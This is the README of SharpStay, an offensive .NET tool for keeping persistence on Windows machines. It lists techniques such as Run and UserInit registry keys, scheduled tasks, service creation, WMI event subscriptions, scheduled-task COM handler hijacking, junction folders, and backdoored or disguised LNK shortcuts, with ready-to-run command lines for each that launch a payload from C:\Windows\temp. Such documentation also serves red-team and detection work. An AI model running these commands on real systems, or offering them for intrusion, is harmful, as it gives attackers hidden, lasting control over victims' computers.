SharpStay - .NET Persistence

Building

To compile open Visual Studio project and compile for release.

Options

• Elevated Registry Keys

• Elevated UserInit Registry Key

• Elevated Scheduled Task

• Elevated Create Service

• Elevated WMI Event Subscription

• Non-Elevated InitMprLogonScript Registry Key

• Non-Elevated Scheduled Task COM Handler Hijack

• Non-Elevated Junction Folder

• Misc Add Scheduled Task Action

• Misc Startup Directory

• Misc New LNK

• Misc Backdoor LNK

• Misc Task Names

• Misc List Scheduled Tasks

• Misc List Running Services

• Misc Get Scheduled Task COM Handlers

Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1

Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction

Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"

Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"

Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup 

Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}

Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"

Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"

Sharpstay.exe action=ListTaskNames

Sharpstay.exe action=ListScheduledTasks

Sharpstay.exe action=ListRunningServices

Sharpstay.exe action=GetScheduledTaskCOMHandler

cleanup=true is an option for each persistence type.

Part of StayKit